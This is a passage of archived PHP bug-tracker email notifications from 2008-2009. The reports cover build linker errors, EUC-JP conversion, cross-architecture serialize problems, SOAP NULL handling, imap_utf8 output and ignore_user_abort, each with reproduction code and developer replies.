 PHP Version:  5.3SVN-2009-07-27 (snap)
 New Comment:

Had the same problem today on PHP 5.3.0-stable.

Debian 2.6.22 #2 SMP x86_64 GNU/Linux.

Was able to solve the problem quickly and easily by adding -lresolve to
the EXTRA_LIBS in my generated makefile.


Previous Comments:


[2009-07-28 19:34:09] j...@php.net

We haven't released 5.3.1 even, so how could you test 5.3.2? :D
Anyway, I can't reproduce this under CentOS 5, using latest SVN 
checkout. Please try again, this time using _clean_ sources and 
configure _outside_ sources:

/some/dir/sources
/some/dir/build

# cd /some/dir/build
# /some/dir/sources/configure your options here




[2009-07-27 18:40:29] kdprice at baylou dot com

Description:

Make for php5.3.2 installation failed with an Error 1 related to
sapi/cli/php.



Reproduce code:
---
./configure --with-apxs2=/usr/local/apache2/bin/apxs
--prefix=/usr/local/php5 --with-config-file-path=/usr/local/php5/lib
--disable-cgi --with-gettext --with-gdbm
--with-libxml-dir=/usr/include/libxml2/libxml
--with-openssl=/usr/local/ssl --with-pear --with-zlib
--with-pgsql=/usr/local/pgsql

Expected result:

A confirmation of success prior to Make Install

Actual result:
--
ext/standard/.libs/dns.o: In function `php_parserr':
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:389: undefined
reference to `__dn_expand'
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:439: undefined
reference to `__dn_expand'
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:623: undefined
reference to `__dn_expand'
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:645: undefined
reference to `__dn_expand'
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:484: undefined
reference to `__dn_expand'
ext/standard/.libs/dns.o:/tmp/Software/php5.3-200907271630/ext/standard/dns.c:490:
more undefined references to `__dn_expand' follow
ext/standard/.libs/dns.o: In function `zif_dns_check_record':
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:323: undefined
reference to `__res_search'
ext/standard/.libs/dns.o: In function `zif_dns_get_mx':
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:878: undefined
reference to `__res_search'
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:889: undefined
reference to `__dn_skipname'
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:895: undefined
reference to `__dn_skipname'
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:907: undefined
reference to `__dn_expand'
ext/standard/.libs/dns.o: In function `zif_dns_get_record':
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:769: undefined
reference to `__res_nmkquery'
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:777: undefined
reference to `__res_nsend'
/tmp/Software/php5.3-200907271630/ext/standard/dns.c:796: undefined
reference to `__dn_skipname'
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1






-- 
Edit this bug report at http://bugs.php.net/?id=49078edit=1

#47366 [Opn-Csd]: mb_convert_encoding() converts some symbols incorrectly from EUC-JP to UTF-8

[max at injapan dot ru]

 ID:   47366
 User updated by:  max at injapan dot ru
 Reported By:  max at injapan dot ru
-Status:   Open
+Status:   Closed
 Bug Type: mbstring related
 Operating System: CentOS 5.2
 PHP Version:  5.3CVS-2009-02-12 (snap)
 New Comment:

Problem solved with encoding EUCJP-WIN instead of EUC-JP.


Previous Comments:


[2009-02-12 10:06:17] max at injapan dot ru

Text in Expected result field is messed a little: of course, 
expected output is just one character U+2161.



[2009-02-12 10:04:11] max at injapan dot ru

Description:

mb_convert_encoding converts symbols \xAD\xB5-\xAD\xBF  incorrectly 
from EUC-JP to UTF-8. It's possible that some other symbols converted 
incorrectly too, but I have no possibility to check it to full 
extent.

Unicode has corresponding codepoints, i.e. U+2161 for #8545;.

Majority of EUC-JP texts is converted mormally.

Reproduce code:
---
echo mb_convert_encoding(\xAD\xB6, UTF-8, EUC-JP);

Expected result:

string «#8545;» (U+2161)
printed to STDOUT

Actual result:
--
string «?»
printed to STDOUT





-- 
Edit this bug report at http://bugs.php.net/?id=47366edit=1

#47366 [NEW]: mb_convert_encoding converts some symbols incorrectly from EUC-JP to UTF-8

[max at injapan dot ru]

From: max at injapan dot ru
Operating system: CentOS 5.2
PHP version:  5.3CVS-2009-02-12 (snap)
PHP Bug Type: mbstring related
Bug description:  mb_convert_encoding converts some symbols incorrectly from 
EUC-JP to UTF-8

Description:

mb_convert_encoding converts symbols \xAD\xB5-\xAD\xBF  incorrectly 
from EUC-JP to UTF-8. It's possible that some other symbols converted 
incorrectly too, but I have no possibility to check it to full 
extent.

Unicode has corresponding codepoints, i.e. U+2161 for #8545;.

Majority of EUC-JP texts is converted mormally.

Reproduce code:
---
echo mb_convert_encoding(\xAD\xB6, UTF-8, EUC-JP);

Expected result:

string «#8545;» (U+2161)
printed to STDOUT

Actual result:
--
string «?»
printed to STDOUT

-- 
Edit bug report at http://bugs.php.net/?id=47366edit=1
-- 
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=47366r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=47366r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=47366r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=47366r=fixedcvs
Fixed in CVS and need be documented: 
http://bugs.php.net/fix.php?id=47366r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=47366r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=47366r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=47366r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=47366r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=47366r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=47366r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=47366r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=47366r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=47366r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=47366r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=47366r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=47366r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=47366r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=47366r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=47366r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=47366r=mysqlcfg

#47366 [Com]: mb_convert_encoding converts some symbols incorrectly from EUC-JP to UTF-8

[max at injapan dot ru]

 ID:   47366
 Comment by:   max at injapan dot ru
 Reported By:  max at injapan dot ru
 Status:   Open
 Bug Type: mbstring related
 Operating System: CentOS 5.2
 PHP Version:  5.3CVS-2009-02-12 (snap)
 New Comment:

Text in Expected result field is messed a little: of course, 
expected output is just one character U+2161.


Previous Comments:


[2009-02-12 10:04:11] max at injapan dot ru

Description:

mb_convert_encoding converts symbols \xAD\xB5-\xAD\xBF  incorrectly 
from EUC-JP to UTF-8. It's possible that some other symbols converted 
incorrectly too, but I have no possibility to check it to full 
extent.

Unicode has corresponding codepoints, i.e. U+2161 for #8545;.

Majority of EUC-JP texts is converted mormally.

Reproduce code:
---
echo mb_convert_encoding(\xAD\xB6, UTF-8, EUC-JP);

Expected result:

string «#8545;» (U+2161)
printed to STDOUT

Actual result:
--
string «?»
printed to STDOUT





-- 
Edit this bug report at http://bugs.php.net/?id=47366edit=1

#46882 [Opn]: Serialize / Unserialize missbehaviour under OS with different bit numbers

[max at phoenixweb dot it]

 ID:   46882
 User updated by:  max at phoenixweb dot it
 Reported By:  max at phoenixweb dot it
 Status:   Open
 Bug Type: Variables related
 Operating System: Centos 5.2 x86 64bit
 PHP Version:  5.2.8
 New Comment:

But this is a problem.

Serialize is needed to store PHP object as a string. Is this correct?
There are a lot of possibility of needed an object as a string, like
complex data storage, and pass data from a server to another server.

If the data is not unserializable from a different server, it's
completely useless.

When i'll upgrade my server to 12Gb of RAM (needing a 64bit OS), i'll
have to trash all the data stored with SERIALIZE on my MySqls?

I don't think that the correct way is just to add a comment to the
current documentation.

I think this should be consider a bug, cause SERIALIZE / UNSERIALIZE is
used to storage data and pass it across servers, so must be compliant
with the problems of differents OS system behaviours.


Previous Comments:


[2008-12-16 15:13:54] crrodriguez at opensuse dot org

This behavior is expected, but the documentation of serialize() does
not mention it, this is a documentation problem.



[2008-12-16 15:03:19] max at phoenixweb dot it

As I can see from the Function Manual, JSON is not a possible
alternative due to his limitation in nested elements.

So... i have to wait that somebody fix this one.

:(



[2008-12-16 14:54:16] max at phoenixweb dot it

Description:

The problem is easy.

I use SERIALIZE - UNSERIALIZE to pass complex PHP objects between
server e store it on remote.

However the SERIALIZE - UNSERIALIZE process fail while this happens
between a 64bit OS and a 32bit OS, due to a missbehaviour in the number
rappresentation (int).

For the 64bit the (INT) is the correct data type for the number:
4139868160 while for a 32bit system that numbero can handled only by a
(DOUBLE)
 

s:3:mem;a:2:{s:6:memory;a:5:{s:5:total;i:4139868160;s:4:free;i:1306845184;s:7:buffers;i:74797056;s:6:cached;i:2103566336;s:4:used;i:2833022976;}s:4:swap;a:3:{s:5:total;i:8389742592;s:4:free;i:8389742592;s:4:used;i:0;}}

During the UNSERIALIZE function on the 32bit system the bitcode is lost
and the number became negative.

Reproduce code:
---
serialize this object on different OS:


[mem] = Array
(
[memory] = Array
(
[total] = 4139868160
[free] = 1331732480
[buffers] = 68988928
[cached] = 2102939648
[used] = 2808135680
)

[swap] = Array
(
[total] = 8389742592
[free] = 8389742592
[used] = 0
)

)

you'll get different SERIALIZED string that are not OS indipendent.

Expected result:

I expected that the object could be pass throug PHP servers
indipendently from the OS bit system.

Actual result:
--
The actual result is a serialized string not indipendent from OS, i
think i'll use JSON functions instead of serialize / unserialize.








-- 
Edit this bug report at http://bugs.php.net/?id=46882edit=1

#46882 [Com]: Serialize / Unserialize missbehaviour under OS with different bit numbers

[max at phoenixweb dot it]

 ID:   46882
 Comment by:   max at phoenixweb dot it
 Reported By:  max at phoenixweb dot it
 Status:   Open
 Bug Type: Variables related
 Operating System: Centos 5.2 x86 64bit
 PHP Version:  5.2.8
 New Comment:

As I can see from the Function Manual, JSON is not a possible
alternative due to his limitation in nested elements.

So... i have to wait that somebody fix this one.

:(


Previous Comments:


[2008-12-16 14:54:16] max at phoenixweb dot it

Description:

The problem is easy.

I use SERIALIZE - UNSERIALIZE to pass complex PHP objects between
server e store it on remote.

However the SERIALIZE - UNSERIALIZE process fail while this happens
between a 64bit OS and a 32bit OS, due to a missbehaviour in the number
rappresentation (int).

For the 64bit the (INT) is the correct data type for the number:
4139868160 while for a 32bit system that numbero can handled only by a
(DOUBLE)
 

s:3:mem;a:2:{s:6:memory;a:5:{s:5:total;i:4139868160;s:4:free;i:1306845184;s:7:buffers;i:74797056;s:6:cached;i:2103566336;s:4:used;i:2833022976;}s:4:swap;a:3:{s:5:total;i:8389742592;s:4:free;i:8389742592;s:4:used;i:0;}}

During the UNSERIALIZE function on the 32bit system the bitcode is lost
and the number became negative.

Reproduce code:
---
serialize this object on different OS:


[mem] = Array
(
[memory] = Array
(
[total] = 4139868160
[free] = 1331732480
[buffers] = 68988928
[cached] = 2102939648
[used] = 2808135680
)

[swap] = Array
(
[total] = 8389742592
[free] = 8389742592
[used] = 0
)

)

you'll get different SERIALIZED string that are not OS indipendent.

Expected result:

I expected that the object could be pass throug PHP servers
indipendently from the OS bit system.

Actual result:
--
The actual result is a serialized string not indipendent from OS, i
think i'll use JSON functions instead of serialize / unserialize.








-- 
Edit this bug report at http://bugs.php.net/?id=46882edit=1

#46882 [NEW]: Serialize / Unserialize missbehaviour under OS with different bit numbers

[max at phoenixweb dot it]

From: max at phoenixweb dot it
Operating system: Centos 5.2 x86 64bit
PHP version:  5.2.8
PHP Bug Type: Variables related
Bug description:  Serialize / Unserialize missbehaviour under OS with different 
bit numbers

Description:

The problem is easy.

I use SERIALIZE - UNSERIALIZE to pass complex PHP objects between server e
store it on remote.

However the SERIALIZE - UNSERIALIZE process fail while this happens
between a 64bit OS and a 32bit OS, due to a missbehaviour in the number
rappresentation (int).

For the 64bit the (INT) is the correct data type for the number:
4139868160 while for a 32bit system that numbero can handled only by a
(DOUBLE)
 

s:3:mem;a:2:{s:6:memory;a:5:{s:5:total;i:4139868160;s:4:free;i:1306845184;s:7:buffers;i:74797056;s:6:cached;i:2103566336;s:4:used;i:2833022976;}s:4:swap;a:3:{s:5:total;i:8389742592;s:4:free;i:8389742592;s:4:used;i:0;}}

During the UNSERIALIZE function on the 32bit system the bitcode is lost
and the number became negative.

Reproduce code:
---
serialize this object on different OS:


[mem] = Array
(
[memory] = Array
(
[total] = 4139868160
[free] = 1331732480
[buffers] = 68988928
[cached] = 2102939648
[used] = 2808135680
)

[swap] = Array
(
[total] = 8389742592
[free] = 8389742592
[used] = 0
)

)

you'll get different SERIALIZED string that are not OS indipendent.

Expected result:

I expected that the object could be pass throug PHP servers indipendently
from the OS bit system.

Actual result:
--
The actual result is a serialized string not indipendent from OS, i think
i'll use JSON functions instead of serialize / unserialize.




-- 
Edit bug report at http://bugs.php.net/?id=46882edit=1
-- 
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=46882r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=46882r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=46882r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=46882r=fixedcvs
Fixed in CVS and need be documented: 
http://bugs.php.net/fix.php?id=46882r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=46882r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=46882r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=46882r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=46882r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=46882r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=46882r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=46882r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=46882r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=46882r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=46882r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=46882r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=46882r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=46882r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=46882r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=46882r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=46882r=mysqlcfg

#46419 [NEW]: Elements of associative arrays and object properties with NULL value are lost

[max dot bilyk at gmail dot com]

From: max dot bilyk at gmail dot com
Operating system: SuSE SLES 10
PHP version:  5.2.6
PHP Bug Type: SOAP related
Bug description:  Elements of associative arrays and object properties with 
NULL value are lost

Description:

When transferring via SOAP associative arrays which have elements with
NULL value these elements are lost. At the same time f.e. empty strings are
transferred normally. Properities of objects with NULL value are also
transferred OK. The problem is that indices of associative arrays are also
informative as well as their values, therefore it's a loss of significant
information.
Another example: in case of data fetch from database into associative
array we often have array elements with NULL value, and when fetching
multiple rows each time the structure of array will be different 
while we expect it to be the same after transfer via SOAP.

P.S. This case is in non-WSDL mode.

Reproduce code:
---
 SOAP Server ---
class foo {
function bar() {
  return array('a' = 1, 'b' = NULL, 'c' = 2, 'd'='');
}
}

$server = new SoapServer(null, array('uri' = http://test-uri/;)); 
$server-setClass(foo);
$server-handle(); 

 SOAP Client ---
$client = new SoapClient(NULL, array('location'=
http://./server.php;,
uri= http://test-uri/;,
trace  = 1,
exceptions = 1)); 
$result = $client-bar();

print_r($result);

Expected result:

array (
'a' = 1,
'b' = NULL
'c' = 2
'd' = '',
)


Actual result:
--
array (
'a' = 1,
'c' = 2
'd' = '',
)


-- 
Edit bug report at http://bugs.php.net/?id=46419edit=1
-- 
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=46419r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=46419r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=46419r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=46419r=fixedcvs
Fixed in CVS and need be documented: 
http://bugs.php.net/fix.php?id=46419r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=46419r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=46419r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=46419r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=46419r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=46419r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=46419r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=46419r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=46419r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=46419r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=46419r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=46419r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=46419r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=46419r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=46419r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=46419r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=46419r=mysqlcfg

#46419 [Opn]: Elements of associative arrays with NULL value are lost

[max dot bilyk at gmail dot com]

 ID:   46419
 User updated by:  max dot bilyk at gmail dot com
-Summary:  Elements of associative arrays and object properties
   with NULL value are lost
 Reported By:  max dot bilyk at gmail dot com
 Status:   Open
 Bug Type: SOAP related
 Operating System: SuSE SLES 10
 PHP Version:  5.2.6
 New Comment:

Sorry, object properties are OK, so I removed it from Summary


Previous Comments:


[2008-10-29 12:47:18] max dot bilyk at gmail dot com

Description:

When transferring via SOAP associative arrays which have elements with
NULL value these elements are lost. At the same time f.e. empty strings
are transferred normally. Properities of objects with NULL value are
also transferred OK. The problem is that indices of associative arrays
are also informative as well as their values, therefore it's a loss of
significant information.
Another example: in case of data fetch from database into associative
array we often have array elements with NULL value, and when fetching
multiple rows each time the structure of array will be different 
while we expect it to be the same after transfer via SOAP.

P.S. This case is in non-WSDL mode.

Reproduce code:
---
 SOAP Server ---
class foo {
function bar() {
  return array('a' = 1, 'b' = NULL, 'c' = 2, 'd'='');
}
}

$server = new SoapServer(null, array('uri' = http://test-uri/;)); 
$server-setClass(foo);
$server-handle(); 

 SOAP Client ---
$client = new SoapClient(NULL, array('location'=
http://./server.php;,
uri= http://test-uri/;,
trace  = 1,
exceptions = 1)); 
$result = $client-bar();

print_r($result);

Expected result:

array (
'a' = 1,
'b' = NULL
'c' = 2
'd' = '',
)


Actual result:
--
array (
'a' = 1,
'c' = 2
'd' = '',
)






-- 
Edit this bug report at http://bugs.php.net/?id=46419edit=1

#46362 [NEW]: Misleading error message in configure script

[max at awakers dot com]

From: max at awakers dot com
Operating system: Centos 5.2
PHP version:  5.2.6
PHP Bug Type: Compile Warning
Bug description:  Misleading error message in configure script

Description:

Refering bug #42907
When supplying bogus parameters to the ./configure script, it reports the
following
Notice: Following unknown configure options were used:

This is a bit misleading as some people assume that it was used by the
configuration script, while the message states that the user used those
invalid parameters.




Reproduce code:
---
add any -whatever-param to the config script

Expected result:

That's a catch-22 because 50% of the users will assume that used has the
config script as the subject, while the other 50% will assume that it
refers to the user.
Let's make it a bit clearer. For example
Notice: The ollowing unknown configure options were supplied but not used:

Actual result:
--
Notice: Following unknown configure options were used:

-- 
Edit bug report at http://bugs.php.net/?id=46362edit=1
-- 
Try a CVS snapshot (PHP 5.2): 
http://bugs.php.net/fix.php?id=46362r=trysnapshot52
Try a CVS snapshot (PHP 5.3): 
http://bugs.php.net/fix.php?id=46362r=trysnapshot53
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=46362r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=46362r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=46362r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=46362r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=46362r=needscript
Try newer version:http://bugs.php.net/fix.php?id=46362r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=46362r=support
Expected behavior:http://bugs.php.net/fix.php?id=46362r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=46362r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=46362r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=46362r=globals
PHP 4 support discontinued:   http://bugs.php.net/fix.php?id=46362r=php4
Daylight Savings: http://bugs.php.net/fix.php?id=46362r=dst
IIS Stability:http://bugs.php.net/fix.php?id=46362r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=46362r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=46362r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=46362r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=46362r=mysqlcfg

#44098 [Com]: imap_utf8() returns only capital letters

[max at phoenixweb dot it]

 ID:   44098
 Comment by:   max at phoenixweb dot it
 Reported By:  steffen at dislabs dot de
 Status:   No Feedback
 Bug Type: IMAP related
 Operating System: FreeBSD 6.2
 PHP Version:  5.2.5
 Assigned To:  fb-req-jani
 New Comment:

Same problem,

fresh installation of all server environment and PHP 5.2.5.

Server is a CentOS 5.2


Previous Comments:


[2008-04-26 01:00:00] php-bugs at lists dot php dot net

No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.



[2008-04-18 23:40:06] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5.2-latest.tar.gz
 
For Windows (zip):
 
  http://snaps.php.net/win32/php5.2-win32-latest.zip

For Windows (installer):

  http://snaps.php.net/win32/php5.2-win32-installer-latest.msi

And I'd like to point out here that we DO NOT support any 3rd party
binary packages of PHP (or any part of it).




[2008-04-18 18:58:07] steffen at dislabs dot de

I'm happy that i'm not the only one. Sry for not posting details, but i
develop on the server but i'm not the admin, so i have no admin account
for the server.

Actually i use a workaround but i would happy if the problem could be
solved.

My workarround:
#
private function imap_utf8($string) {
  return iconv_mime_decode($string,0,UTF-8);
}



[2008-04-17 21:51:23] brett at fogcreek dot com

Here is the php5-imap info:

$ aptitude show php5-imap
Package: php5-imap
State: installed
Automatically installed: yes
Version: 5.2.3-0ubuntu3
Priority: optional
Section: universe/web
Maintainer: Ubuntu MOTU Developers [EMAIL PROTECTED]
Uncompressed Size: 176k
Depends: debconf (= 0.5) | debconf-2.0, libc-client2007, libc6 (=
2.7-1), libcomerr2 (= 1.33-3), libkrb53 (= 1.6.dfsg.2), libpam0g (=
0.99.7.1), libssl0.9.8 (= 0.9.8f-1), phpapi-20060613+lfs
Description: IMAP module for php5
 This package provides a module for IMAP functions in PHP scripts.


# ldd /usr/lib/php5/20060613+lfs/imap.so 
linux-gate.so.1 =  (0xb7f8d000)
libssl.so.0.9.8 = /usr/lib/i686/cmov/libssl.so.0.9.8 (0xb7f27000)
libc-client.so.2007 = /usr/lib/libc-client.so.2007 (0xb7e1c000)
libcrypt.so.1 = /lib/tls/i686/cmov/libcrypt.so.1 (0xb7de9000)
libpam.so.0 = /lib/libpam.so.0 (0xb7ddf000)
libgssapi_krb5.so.2 = /usr/lib/libgssapi_krb5.so.2 (0xb7db6000)
libkrb5.so.3 = /usr/lib/libkrb5.so.3 (0xb7d29000)
libk5crypto.so.3 = /usr/lib/libk5crypto.so.3 (0xb7d06000)
libcom_err.so.2 = /lib/libcom_err.so.2 (0xb7d03000)
libc.so.6 = /lib/tls/i686/cmov/libc.so.6 (0xb7bb3000)
libcrypto.so.0.9.8 = /usr/lib/i686/cmov/libcrypto.so.0.9.8
(0xb7a71000)
libdl.so.2 = /lib/tls/i686/cmov/libdl.so.2 (0xb7a6d000)
libz.so.1 = /usr/lib/libz.so.1 (0xb7a58000)
libkrb5support.so.0 = /usr/lib/libkrb5support.so.0 (0xb7a5)
libkeyutils.so.1 = /lib/libkeyutils.so.1 (0xb7a4c000)
libresolv.so.2 = /lib/tls/i686/cmov/libresolv.so.2 (0xb7a39000)
/lib/ld-linux.so.2 (0xb7f8e000)



[2008-04-11 13:47:51] jason at foreflight dot com

I am seeing this too:

Red Hat Enterprise Linux ES release 4 (Nahant Update 6)
CClient: imap-2007a1



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/44098

-- 
Edit this bug report at http://bugs.php.net/?id=44098edit=1

#44098 [Com]: imap_utf8() returns only capital letters

[max at phoenixweb dot it]

 ID:   44098
 Comment by:   max at phoenixweb dot it
 Reported By:  steffen at dislabs dot de
 Status:   No Feedback
 Bug Type: IMAP related
 Operating System: FreeBSD 6.2
 PHP Version:  5.2.5
 Assigned To:  fb-req-jani
 New Comment:

I thought it was a problem of PHP minor version but it's not.

I downgrade my sever to 5.2.4, and after to 5.2.3 (the same as another
server that works fine).

And imap_utf8(), still returns only capital letter. Moreover it
doesn't make a right convesion so you can still see special charset
chars like èéòìàù that are still in lower case!

Please check it if somebody simple left an uppercase somewhere in order
to debug...

...this function is completely useless in this status.

Thank you!
Hope this will be fixed soon.


PS: i think that C-client could not be, because i have another server
where everything works fine and it has same C-client library (2004
version as reported on PHPINFO).


Previous Comments:


[2008-07-01 16:15:15] max at phoenixweb dot it

Same problem,

fresh installation of all server environment and PHP 5.2.5.

Server is a CentOS 5.2



[2008-04-26 01:00:00] php-bugs at lists dot php dot net

No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.



[2008-04-18 23:40:06] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5.2-latest.tar.gz
 
For Windows (zip):
 
  http://snaps.php.net/win32/php5.2-win32-latest.zip

For Windows (installer):

  http://snaps.php.net/win32/php5.2-win32-installer-latest.msi

And I'd like to point out here that we DO NOT support any 3rd party
binary packages of PHP (or any part of it).




[2008-04-18 18:58:07] steffen at dislabs dot de

I'm happy that i'm not the only one. Sry for not posting details, but i
develop on the server but i'm not the admin, so i have no admin account
for the server.

Actually i use a workaround but i would happy if the problem could be
solved.

My workarround:
#
private function imap_utf8($string) {
  return iconv_mime_decode($string,0,UTF-8);
}



[2008-04-17 21:51:23] brett at fogcreek dot com

Here is the php5-imap info:

$ aptitude show php5-imap
Package: php5-imap
State: installed
Automatically installed: yes
Version: 5.2.3-0ubuntu3
Priority: optional
Section: universe/web
Maintainer: Ubuntu MOTU Developers [EMAIL PROTECTED]
Uncompressed Size: 176k
Depends: debconf (= 0.5) | debconf-2.0, libc-client2007, libc6 (=
2.7-1), libcomerr2 (= 1.33-3), libkrb53 (= 1.6.dfsg.2), libpam0g (=
0.99.7.1), libssl0.9.8 (= 0.9.8f-1), phpapi-20060613+lfs
Description: IMAP module for php5
 This package provides a module for IMAP functions in PHP scripts.


# ldd /usr/lib/php5/20060613+lfs/imap.so 
linux-gate.so.1 =  (0xb7f8d000)
libssl.so.0.9.8 = /usr/lib/i686/cmov/libssl.so.0.9.8 (0xb7f27000)
libc-client.so.2007 = /usr/lib/libc-client.so.2007 (0xb7e1c000)
libcrypt.so.1 = /lib/tls/i686/cmov/libcrypt.so.1 (0xb7de9000)
libpam.so.0 = /lib/libpam.so.0 (0xb7ddf000)
libgssapi_krb5.so.2 = /usr/lib/libgssapi_krb5.so.2 (0xb7db6000)
libkrb5.so.3 = /usr/lib/libkrb5.so.3 (0xb7d29000)
libk5crypto.so.3 = /usr/lib/libk5crypto.so.3 (0xb7d06000)
libcom_err.so.2 = /lib/libcom_err.so.2 (0xb7d03000)
libc.so.6 = /lib/tls/i686/cmov/libc.so.6 (0xb7bb3000)
libcrypto.so.0.9.8 = /usr/lib/i686/cmov/libcrypto.so.0.9.8
(0xb7a71000)
libdl.so.2 = /lib/tls/i686/cmov/libdl.so.2 (0xb7a6d000)
libz.so.1 = /usr/lib/libz.so.1 (0xb7a58000)
libkrb5support.so.0 = /usr/lib/libkrb5support.so.0 (0xb7a5)
libkeyutils.so.1 = /lib/libkeyutils.so.1 (0xb7a4c000)
libresolv.so.2 = /lib/tls/i686/cmov/libresolv.so.2 (0xb7a39000)
/lib/ld-linux.so.2 (0xb7f8e000)



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/44098

-- 
Edit this bug report at http://bugs.php.net/?id=44098edit=1

#44093 [NEW]: ignore_user_abort() sometimes do not work !

[max at tehnomir dot com dot ua]

From: max at tehnomir dot com dot ua
Operating system: Linux 2.6.20.2
PHP version:  5.2.5
PHP Bug Type: *General Issues
Bug description:  ignore_user_abort() sometimes do not work !

Description:

Hello !

ignore_user_abort( false ) sometimes do not work !

In this example when I press STOP button in my browser script does not
stop. It runs till max_execution_time is reached.

Server: 1.3.39.


Reproduce code:
---
?

ignore_user_abort( false );

$fp = fopen('testfile.txt', 'w');

while (true)
{
echo date('d.m.Y H:i').br;
flush();

fwrite($fp, date('d.m.Y H:i:s').\n);
sleep( 1 );
}

fclose( $fp );

?

Expected result:

Script must stop execution.

Actual result:
--
Script runs till max_execution_time is reached.

-- 
Edit bug report at http://bugs.php.net/?id=44093edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=44093r=trysnapshot44
Try a CVS snapshot (PHP 5.2): 
